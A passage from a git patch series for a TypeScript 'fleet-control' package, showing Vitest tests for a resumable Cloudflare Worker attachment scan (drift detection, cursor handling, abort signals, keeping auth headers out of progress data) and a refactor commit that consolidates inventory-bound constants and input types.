= + mode === 'same' + ? 'a' + : mode === 'cycle' + ? cursor === null + ? 'a' + : cursor === 'a' + ? 'b' + : 'a' + : `cursor-${page}`; + return pageArray([], { cursor: next }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow( + mode === 'overfilled' + ? 'Cloudflare dispatch script listing returned more than 100 items in one page' + : mode === 'endless' + ? 'Cloudflare dispatch script listing exceeded 100 pages' + : 'Cloudflare dispatch script listing repeated a cursor', + ); + } + }); + + it('detects ordinary inventory and deployment drift before later version reads', async () => { + for (const driftTarget of ['inventory', 'deployment'] as const) { + let scriptsCalls = 0; + let deploymentCalls = 0; + let versionCalls = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + scriptsCalls += 1; + return pageArray([ + { + id: + driftTarget === 'inventory' && scriptsCalls > 1 + ? 'changed' + : 'ordinary', + }, + ]); + } + if (target.pathname.endsWith('/deployments')) { + deploymentCalls += 1; + return single({ + deployments: [ + { + versions: [ + { version_id: 'v1', percentage: 50 }, + { + version_id: + driftTarget === 'deployment' && deploymentCalls > 1 + ? 'changed-v2' + : 'v2', + percentage: 50, + }, + ], + }, + ], + }); + } + if (target.pathname.includes('/versions/')) { + versionCalls += 1; + return single({ resources: { bindings: [] } }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const subject = client(fixture.fetch); + const first = await advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + }); + expect(first.status).toBe('pending'); + if (first.status !== 'pending') throw new Error('expected pending'); + await expect( + advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: first.progress, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(versionCalls).toBe(1); + } + + let deploymentCalls = 0; + let ordinaryRequests = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + ordinaryRequests += 1; + return pageArray([{ id: 'ordinary' }]); + } + if (target.pathname.endsWith('/deployments')) deploymentCalls += 1; + throw new Error(`unexpected request ${target.pathname}`); + }); + let driftError: unknown; + try { + await advanceCloudflareWorkerAttachmentScan(client(fixture.fetch), { + target: D1_TARGET, + progress: { + version: 1, + target: D1_TARGET, + stage: 'ordinary-deployment', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 3, + ordinaryInventorySha256: hash(JSON.stringify(['ordinary'])), + scriptIndex: 2, + scriptName: 'ordinary', + }, + maxProviderRequests: 9, + }); + } catch (error) { + driftError = error; + } + expect(driftError).toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(driftError).toMatchObject({ + name: 'CloudflareAttachmentScanDriftError', + message: + 'Cloudflare attachment inventory changed during a resumable scan', + }); + expect(deploymentCalls).toBe(0); + expect(ordinaryRequests).toBe(1); + + await expect( + advanceCloudflareWorkerAttachmentScan(client(fixture.fetch), { + target: D1_TARGET, + progress: { + version: 1, + target: D1_TARGET, + stage: 'ordinary-script-inventory', + evidenceSha256: evidence(D1_TARGET, [ + ['ordinary-inventory', ['ordinary']], + ]), + evidenceCount: 1, + ordinaryInventorySha256: hash(JSON.stringify(['ordinary'])), + scriptIndex: 1, + }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError); + expect(ordinaryRequests).toBe(1); + }); + + it('detects namespace and partial-page drift before any later settings read', async () => { + for (const driftTarget of ['namespace', 'page'] as const) { + let namespaceCalls = 0; + let pageCalls = 0; + let settingsCalls = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + namespaceCalls += 1; + return pageArray([ + { + namespace_name: + driftTarget === 'namespace' && namespaceCalls > 1 + ? 'changed' + : 'fleet', + }, + ]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + pageCalls += 1; + return pageArray([ + { id: 'a', tags: [] }, + { + id: driftTarget === 'page' && pageCalls > 1 ? 'changed-b' : 'b', + tags: [], + }, + ]); + } + if (target.pathname.endsWith('/settings')) { + settingsCalls += 1; + return single({ bindings: [] }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const subject = client(fixture.fetch); + const first = await advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + }); + expect(first.status).toBe('pending'); + if (first.status !== 'pending') throw new Error('expected pending'); + await expect( + advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: first.progress, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(settingsCalls).toBe(0); + } + + let mutateCommittedItem = false; + let committedSettingsCalls = 0; + const committedFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + return pageArray([ + { id: mutateCommittedItem ? 'changed-a' : 'a', tags: [] }, + { id: 'b', tags: [] }, + ]); + } + if (target.pathname.endsWith('/settings')) { + committedSettingsCalls += 1; + return single({ bindings: [] }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const subject = client(committedFixture.fetch); + const beforeSettings = await advanceCloudflareWorkerAttachmentScan( + subject, + { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + }, + ); + expect(beforeSettings.status).toBe('pending'); + if (beforeSettings.status !== 'pending') + throw new Error('expected pending'); + const requestsBeforeMalformedProgress = committedFixture.requests.length; + await expect( + advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: { ...beforeSettings.progress, evidenceCount: 1 }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError); + expect(committedFixture.requests).toHaveLength( + requestsBeforeMalformedProgress, + ); + const afterFirstSetting = await advanceCloudflareWorkerAttachmentScan( + subject, + { + target: D1_TARGET, + progress: beforeSettings.progress, + maxProviderRequests: 9, + }, + ); + expect(afterFirstSetting).toMatchObject({ + status: 'pending', + progress: { stage: 'dispatch-script-settings', itemOffset: 1 }, + }); + if (afterFirstSetting.status !== 'pending') { + throw new Error('expected pending'); + } + mutateCommittedItem = true; + await expect( + advanceCloudflareWorkerAttachmentScan(subject, { + target: D1_TARGET, + progress: afterFirstSetting.progress, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(committedSettingsCalls).toBe(1); + + let aliasedSettingsCalls = 0; + const aliasFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + if (target.pathname.endsWith('/namespaces/fleet/scripts')) { + const cursor = target.searchParams.get('cursor'); + return cursor === null + ? pageArray([], { cursor: 'start' }) + : pageArray([ + { id: 'a', tags: [] }, + { id: 'b', tags: [] }, + ]); + } + if (target.pathname.endsWith('/settings')) { + aliasedSettingsCalls += 1; + return single({ bindings: [] }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const aliasSubject = client(aliasFixture.fetch); + const beforeSecondPage = await advanceCloudflareWorkerAttachmentScan( + aliasSubject, + { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + }, + ); + expect(beforeSecondPage).toMatchObject({ + status: 'pending', + progress: { stage: 'dispatch-script-page', pageStartCursor: 'start' }, + }); + if (beforeSecondPage.status !== 'pending') { + throw new Error('expected pending'); + } + const beforeAliasedSettings = await advanceCloudflareWorkerAttachmentScan( + aliasSubject, + { + target: D1_TARGET, + progress: beforeSecondPage.progress, + maxProviderRequests: 9, + }, + ); + expect(beforeAliasedSettings).toMatchObject({ + status: 'pending', + progress: { stage: 'dispatch-script-settings', itemOffset: 0 }, + }); + if ( + beforeAliasedSettings.status !== 'pending' || + beforeAliasedSettings.progress.stage !== 'dispatch-script-settings' + ) { + throw new Error('expected pending'); + } + await expect( + advanceCloudflareWorkerAttachmentScan(aliasSubject, { + target: D1_TARGET, + progress: { + ...beforeAliasedSettings.progress, + pageStartCursor: 'alias', + seenCursorSha256: [hash('alias')], + }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(aliasedSettingsCalls).toBe(0); + + const forgedFixture = recordingFetch(({ url }) => { + throw new Error(`unexpected request ${new URL(url).pathname}`); + }); + await expect( + advanceCloudflareWorkerAttachmentScan(client(forgedFixture.fetch), { + target: D1_TARGET, + progress: { + version: 1, + target: D1_TARGET, + stage: 'dispatch-script-settings', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + ordinaryInventorySha256: hash(JSON.stringify([])), + namespaceInventorySha256: hash( + JSON.stringify([['fleet', null, null]]), + ), + namespaceIndex: 0, + namespaceName: 'fleet', + pageSha256: hash(JSON.stringify([null, [['only', []]], null])), + pageItemCount: 1, + itemOffset: 1, + pageNumber: 0, + seenCursorSha256: [], + totalDispatchItems: 2, + dispatchEvidenceSum256: 'd'.repeat(64), + dispatchEvidenceCount: 2, + }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError); + expect(forgedFixture.requests).toHaveLength(0); + + let namespaceRequests = 0; + const namespaceFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + namespaceRequests += 1; + return pageArray([{ namespace_name: 'fleet' }]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const ordinaryInventorySha256 = hash(JSON.stringify([])); + const namespaceInventorySha256 = hash( + JSON.stringify([['fleet', null, null]]), + ); + await expect( + advanceCloudflareWorkerAttachmentScan(client(namespaceFixture.fetch), { + target: D1_TARGET, + progress: { + version: 1, + target: D1_TARGET, + stage: 'dispatch-script-page', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 4, + ordinaryInventorySha256, + namespaceInventorySha256, + namespaceIndex: 2, + namespaceName: 'fleet', + pageNumber: 0, + seenCursorSha256: [], + totalDispatchItems: 0, + dispatchEvidenceSum256: '0'.repeat(64), + dispatchEvidenceCount: 0, + }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError); + expect(namespaceRequests).toBe(1); + + await expect( + advanceCloudflareWorkerAttachmentScan(client(namespaceFixture.fetch), { + target: D1_TARGET, + progress: { + version: 1, + target: D1_TARGET, + stage: 'dispatch-namespace-inventory', + evidenceSha256: evidence(D1_TARGET, [ + ['ordinary-inventory', []], + ['dispatch-namespaces', [['fleet', null, null]]], + ]), + evidenceCount: 2, + ordinaryInventorySha256, + namespaceInventorySha256, + namespaceIndex: 1, + }, + maxProviderRequests: 9, + }), + ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError); + expect(namespaceRequests).toBe(1); + }); + + it('preserves plain-only initial namespace 404 and refuses configured or later 404', async () => { + const plainFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return apiFailure(404); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(plainFixture.fetch, { plainOnly: true }), D1_TARGET), + ).resolves.toMatchObject({ terminal: { status: 'complete' } }); + await expect( + drain(client(plainFixture.fetch), D1_TARGET), + ).rejects.toMatchObject({ status: 404 }); + + vi.spyOn(BaseNamespaces.prototype, 'list').mockReturnValueOnce( + (async function* () { + yield { namespace_name: 'first' }; + throw Object.assign(new Error('later missing'), { status: 404 }); + })() as never, + ); + const laterFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/namespaces/first/scripts')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(laterFixture.fetch, { plainOnly: true }), D1_TARGET), + ).rejects.toMatchObject({ status: 404 }); + vi.restoreAllMocks(); + }); + + it('returns attached only for a match and makes no provider call after an early match', async () => { + for (const match of ['early', 'final', 'none'] as const) { + const events: string[] = []; + const versions: VersionFixture[] = [ + { + id: 'v1', + percentage: 50, + bindings: + match === 'early' ? [{ type: 'd1', database_id: 'target-db' }] : [], + }, + { + id: 'v2', + percentage: 50, + bindings: + match === 'final' ? [{ type: 'd1', database_id: 'target-db' }] : [], + }, + ]; + const fixture = recordingFetch( + worldHandler( + { ordinary: [{ id: 'ordinary', versions }], namespaces: [] }, + events, + ), + ); + const result = await drain(client(fixture.fetch), D1_TARGET, { + budget: 12, + stopOnFirstAttachment: true, + }); + expect(result.terminal.status).toBe( + match === 'none' ? 'complete' : 'attached', + ); + expect(events.some((event) => event.includes('/versions/v2'))).toBe( + match !== 'early', + ); + if (match !== 'none') { + expect( + events.some((event) => event.includes('/dispatch/namespaces')), + ).toBe(false); + } + } + }); + + it('forwards and honors an in-flight SDK abort signal without follow-up requests', async () => { + const response = deferred(); + const started = deferred(); + let requests = 0; + const signalCaptureFetch: typeof fetch = async (_input, init) => { + requests += 1; + const signal = init?.signal; + if (!signal) throw new Error('SDK request had no signal'); + started.resolve(signal); + return Promise.race([ + response.promise, + new Promise((_resolve, reject) => { + signal.addEventListener('abort', () => reject(signal.reason), { + once: true, + }); + }), + ]); + }; + const controller = new AbortController(); + const operation = advanceCloudflareWorkerAttachmentScan( + client(signalCaptureFetch), + { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + signal: controller.signal, + }, + ); + const received = await started.promise; + expect(received).not.toBe(controller.signal); + expect(received.aborted).toBe(false); + controller.abort(new Error('stop SDK')); + expect(received.aborted).toBe(true); + await expect(operation).rejects.toThrow(); + expect(requests).toBe(1); + }); + + it('forwards and honors an in-flight raw-page abort signal without retry', async () => { + let rawRequests = 0; + let receivedSignal: AbortSignal | undefined; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const signalFetch: typeof fetch = (input, init) => { + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + if (url.pathname.endsWith('/namespaces/fleet/scripts')) { + rawRequests += 1; + receivedSignal = init?.signal ?? undefined; + const signal = init?.signal; + if (!signal) + return Promise.reject(new Error('raw request had no signal')); + return new Promise((_resolve, reject) => { + signal.addEventListener('abort', () => reject(signal.reason), { + once: true, + }); + }); + } + return fixture.fetch(input, init); + }; + const controller = new AbortController(); + const operation = advanceCloudflareWorkerAttachmentScan( + client(signalFetch), + { + target: D1_TARGET, + progress: initialWorkerAttachmentScan(D1_TARGET), + maxProviderRequests: 9, + signal: controller.signal, + }, + ); + await vi.waitFor(() => expect(receivedSignal).toBeDefined()); + expect(receivedSignal).not.toBe(controller.signal); + expect(receivedSignal?.aborted).toBe(false); + controller.abort(new Error('stop raw')); + expect(receivedSignal?.aborted).toBe(true); + await expect(operation).rejects.toThrow(); + expect(rawRequests).toBe(1); + }); + + it('injects authorization internally without serializing it into progress or errors', async () => { + for (const terminalCursor of [null, ''] as const) { + let rawRequests = 0; + const terminalFixture = recordingFetch((request) => { + const target = new URL(request.url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + rawRequests += 1; + return Response.json({ + success: true, + errors: [], + messages: [], + result: [], + result_info: { + cursor: terminalCursor, + cursors: { after: 'must-not-override-explicit-cursor' }, + }, + }); + }); + await expect( + drain(client(terminalFixture.fetch), D1_TARGET), + ).resolves.toMatchObject({ terminal: { status: 'complete' } }); + expect(rawRequests).toBe(1); + } + + for (const resultInfo of [42, { cursors: 42 }]) { + const malformedMetadata = recordingFetch((request) => { + const target = new URL(request.url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + return Response.json({ + success: true, + errors: [], + messages: [], + result: [], + result_info: resultInfo, + }); + }); + await expect( + drain(client(malformedMetadata.fetch), D1_TARGET), + ).rejects.toThrow( + 'Cloudflare dispatch script listing returned a malformed cursor', + ); + } + + const headers: string[] = []; + const fixture = recordingFetch((request) => { + const target = new URL(request.url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + headers.push(request.headers.get('authorization') ?? ''); + return pageArray([], { cursor: 42 as unknown as string }); + }); + await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow( + 'Cloudflare dispatch script listing returned a malformed cursor', + ); + expect(headers).toEqual(['Bearer token']); + expect( + JSON.stringify(initialWorkerAttachmentScan(D1_TARGET)), + ).not.toContain('token'); + }); + + it('keeps the scan friend off the root while retaining its internal callable seam', () => { + expect('advanceCloudflareWorkerAttachmentScan' in fleetRoot).toBe(false); + expect(typeof advanceCloudflareWorkerAttachmentScan).toBe('function'); + expect(CLOUDFLARE_SDK_MAX_RETRIES).toBe(2); + expect(CLOUDFLARE_SDK_MAX_ATTEMPTS).toBe(3); + }); +}); From bdec481e3c5fe4dc9a3811e932a98b4c0b20415b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 21:06:31 +0400 Subject: [PATCH 027/169] refactor(fleet-control): tighten attachment scan internals Single-home scanner contracts and provider bounds, remove dead retry state, and pin the effective SDK retry ceiling without changing scan behavior. --- .../src/cloudflare-client-config.ts | 1 + .../fleet-control/src/cloudflare-client.ts | 31 ++--- .../src/cloudflare-worker-attachment-scan.ts | 106 +++++++++--------- .../test/worker-attachment-scan.test.ts | 96 ++++++++++++---- 4 files changed, 142 insertions(+), 92 deletions(-) diff --git a/packages/fleet-control/src/cloudflare-client-config.ts b/packages/fleet-control/src/cloudflare-client-config.ts index e1b848ab..2726d50d 100644 --- a/packages/fleet-control/src/cloudflare-client-config.ts +++ b/packages/fleet-control/src/cloudflare-client-config.ts @@ -2,3 +2,4 @@ export const CLOUDFLARE_SDK_MAX_RETRIES = 2; export const CLOUDFLARE_SDK_MAX_ATTEMPTS = CLOUDFLARE_SDK_MAX_RETRIES + 1; +export const CLOUDFLARE_INVENTORY_BOUND = 10_000; diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 71c3c7c2..a4586e18 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -7,7 +7,10 @@ import { toFile } from 'cloudflare/uploads'; import PQueue from 'p-queue'; import { exactActiveVersionId } from './active-route.js'; import { canonicalApplicationBindings } from './application-bindings.js'; -import { CLOUDFLARE_SDK_MAX_RETRIES } from './cloudflare-client-config.js'; +import { + CLOUDFLARE_INVENTORY_BOUND, + CLOUDFLARE_SDK_MAX_RETRIES, +} from './cloudflare-client-config.js'; import { attachCustomDomain, type CloudflareSdk, @@ -47,8 +50,7 @@ import { listAllDispatchScripts, listAllWorkerAttachments, type WorkerAttachmentScanChunk, - type WorkerAttachmentScanProgress, - type WorkerAttachmentScanTarget, + type WorkerAttachmentScanInput, } from './cloudflare-worker-attachment-scan.js'; import type { DurableDatabaseExportStore } from './database-export-store.js'; import { @@ -94,7 +96,6 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({ max_wait_time_ms: 5_000, }); const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; -const DEFAULT_INVENTORY_BOUND = 10_000; export interface CloudflareClientOptions { readonly accountId: string; @@ -369,13 +370,7 @@ let trackProviderDispatch: ( let scanProviderAttachments: ( client: CloudflareProvisioningClient, - input: { - readonly target: WorkerAttachmentScanTarget; - readonly progress: WorkerAttachmentScanProgress; - readonly maxProviderRequests: number; - readonly signal?: AbortSignal; - readonly stopOnFirstAttachment?: boolean; - }, + input: WorkerAttachmentScanInput, ) => Promise; /** @@ -396,13 +391,7 @@ export function withProviderDispatchTracking( /** @internal Package-private seam for the resumable lifecycle engine. */ export function advanceCloudflareWorkerAttachmentScan( client: CloudflareProvisioningClient, - input: { - readonly target: WorkerAttachmentScanTarget; - readonly progress: WorkerAttachmentScanProgress; - readonly maxProviderRequests: number; - readonly signal?: AbortSignal; - readonly stopOnFirstAttachment?: boolean; - }, + input: WorkerAttachmentScanInput, ): Promise { return scanProviderAttachments(client, input); } @@ -602,7 +591,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async *#collectBounded( iterable: AsyncIterable | Iterable, label: string, - max = DEFAULT_INVENTORY_BOUND, + max = CLOUDFLARE_INVENTORY_BOUND, ): AsyncGenerator { let count = 0; for await (const item of iterable) { @@ -1906,12 +1895,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { `R2 bucket '${bucket.name}' has no valid creation date`, ); } - if (r2Buckets.length >= DEFAULT_INVENTORY_BOUND) { + if (r2Buckets.length >= CLOUDFLARE_INVENTORY_BOUND) { // The bound counts only accepted fleet-owned buckets, not every // provider item scanned while filtering by prefix. throw inventoryBoundExceeded( 'R2 bucket inventory', - DEFAULT_INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } r2Buckets.push({ diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index 2a01021c..11c49985 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -1,11 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { CLOUDFLARE_SDK_MAX_ATTEMPTS } from './cloudflare-client-config.js'; +import { + CLOUDFLARE_INVENTORY_BOUND, + CLOUDFLARE_SDK_MAX_ATTEMPTS, +} from './cloudflare-client-config.js'; import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; import { isNotFound } from './cloudflare-provider-errors.js'; -const INVENTORY_BOUND = 10_000; const DISPATCH_PAGE_SIZE = 100; const DISPATCH_PAGE_BOUND = 100; const PROGRESS_BYTE_BOUND = 65_536; @@ -14,7 +16,7 @@ const EVIDENCE_BOUND = 1_000_000; const PLAIN_DATA_DEPTH_BOUND = 64; const PLAIN_DATA_NODE_BOUND = 8_192; const SHA256_PATTERN = /^[0-9a-f]{64}$/; -const EMPTY_MULTISET_SHA256 = '0'.repeat(64); +const EMPTY_MULTISET_SUM256 = '0'.repeat(64); export type WorkerAttachmentScanTarget = | Readonly<{ kind: 'd1'; databaseId: string }> @@ -116,16 +118,26 @@ export type WorkerAttachmentScanChunk = providerFetchAttemptsReserved: number; }>; +export interface DispatchScriptPageInput { + readonly namespace: string; + readonly cursor?: string; + readonly perPage: number; + readonly signal?: AbortSignal; +} + +export interface WorkerAttachmentScanInput { + readonly target: WorkerAttachmentScanTarget; + readonly progress: WorkerAttachmentScanProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly stopOnFirstAttachment?: boolean; +} + export interface CloudflareWorkerAttachmentScanContext { readonly accountId: string; readonly client: CloudflareSdk; readonly dispatchNamespace?: string; - requestDispatchScriptPage(input: { - readonly namespace: string; - readonly cursor?: string; - readonly perPage: number; - readonly signal?: AbortSignal; - }): Promise; + requestDispatchScriptPage(input: DispatchScriptPageInput): Promise; } interface NormalizedNamespace { @@ -142,7 +154,6 @@ interface NormalizedDispatchScript { interface DispatchScriptPage { readonly scripts: readonly NormalizedDispatchScript[]; readonly nextCursor?: string; - readonly attempts: number; } interface ActiveVersion { @@ -593,7 +604,7 @@ export function parseWorkerAttachmentScanProgress( [...COMMON_KEYS, 'scriptIndex'], ['ordinaryInventorySha256'], ) || - !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || record.ordinaryInventorySha256 !== undefined || record.scriptIndex !== 0 || common.evidenceCount !== 0 || @@ -619,7 +630,7 @@ export function parseWorkerAttachmentScanProgress( 'scriptName', ]) || !hash(record.ordinaryInventorySha256) || - !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || !boundedString(record.scriptName) || common.evidenceCount < record.scriptIndex + 1 ) { @@ -644,10 +655,10 @@ export function parseWorkerAttachmentScanProgress( 'versionIndex', ]) || !hash(record.ordinaryInventorySha256) || - !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || !boundedString(record.scriptName) || !hash(record.deploymentSha256) || - !safeInteger(record.versionIndex, INVENTORY_BOUND) || + !safeInteger(record.versionIndex, CLOUDFLARE_INVENTORY_BOUND) || common.evidenceCount < record.scriptIndex + record.versionIndex + 2 ) { return malformed(); @@ -670,7 +681,7 @@ export function parseWorkerAttachmentScanProgress( ['namespaceInventorySha256'], ) || !hash(record.ordinaryInventorySha256) || - !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || record.namespaceInventorySha256 !== undefined || record.namespaceIndex !== 0 || common.evidenceCount < 1 @@ -708,18 +719,21 @@ export function parseWorkerAttachmentScanProgress( ) || !hash(record.ordinaryInventorySha256) || !hash(record.namespaceInventorySha256) || - !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || !boundedString(record.namespaceName) || (record.pageStartCursor !== undefined && !boundedString(record.pageStartCursor)) || !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || !seen || - !safeInteger(record.totalDispatchItems, INVENTORY_BOUND) || + !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || !hash(record.dispatchEvidenceSum256) || - !safeInteger(record.dispatchEvidenceCount, INVENTORY_BOUND) || + !safeInteger( + record.dispatchEvidenceCount, + CLOUDFLARE_INVENTORY_BOUND, + ) || record.dispatchEvidenceCount !== record.totalDispatchItems || (record.dispatchEvidenceCount === 0 && - record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SHA256) || + record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SUM256) || seen.length !== record.pageNumber || !validPageStart(record.pageNumber, record.pageStartCursor, seen) || common.evidenceCount < record.namespaceIndex + 2 || @@ -768,7 +782,7 @@ export function parseWorkerAttachmentScanProgress( ) || !hash(record.ordinaryInventorySha256) || !hash(record.namespaceInventorySha256) || - !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || !boundedString(record.namespaceName) || (record.pageStartCursor !== undefined && !boundedString(record.pageStartCursor)) || @@ -780,11 +794,14 @@ export function parseWorkerAttachmentScanProgress( !safeInteger(record.itemOffset, record.pageItemCount as number) || !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || !seen || - !safeInteger(record.totalDispatchItems, INVENTORY_BOUND) || + !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || !hash(record.dispatchEvidenceSum256) || - !safeInteger(record.dispatchEvidenceCount, INVENTORY_BOUND) || + !safeInteger( + record.dispatchEvidenceCount, + CLOUDFLARE_INVENTORY_BOUND, + ) || (record.dispatchEvidenceCount === 0 && - record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SHA256) || + record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SUM256) || record.totalDispatchItems < record.pageItemCount || record.dispatchEvidenceCount !== record.totalDispatchItems - @@ -911,9 +928,8 @@ function targetMatches( } function bindingsFrom( - value: unknown, + value: readonly unknown[], ): readonly Readonly>[] { - if (!Array.isArray(value)) return []; return value.map((binding) => { const record = plainRecord(binding); if (!record) { @@ -1011,18 +1027,11 @@ function nextCursorFrom(payload: Record): string | undefined { export async function listDispatchScriptPage( context: CloudflareWorkerAttachmentScanContext, - input: { - readonly namespace: string; - readonly cursor?: string; - readonly perPage: number; - readonly signal?: AbortSignal; - }, + input: DispatchScriptPageInput, ): Promise { let response: Response | undefined; - let attempts = 0; for (let attempt = 0; attempt < CLOUDFLARE_SDK_MAX_ATTEMPTS; attempt += 1) { checkSignal(input.signal); - attempts += 1; response = await context.requestDispatchScriptPage(input); if (response.status !== 429 && response.status < 500) break; } @@ -1067,7 +1076,6 @@ export async function listDispatchScriptPage( return { scripts, ...(nextCursor === undefined ? {} : { nextCursor }), - attempts, }; } @@ -1088,10 +1096,10 @@ export async function listAllDispatchScripts( signal, }); scripts.push(...page.scripts); - if (scripts.length > INVENTORY_BOUND) { + if (scripts.length > CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( 'dispatch script inventory', - INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } cursor = page.nextCursor; @@ -1133,10 +1141,10 @@ async function listOrdinaryScripts( ); } scripts.push(id); - if (scripts.length > INVENTORY_BOUND) { + if (scripts.length > 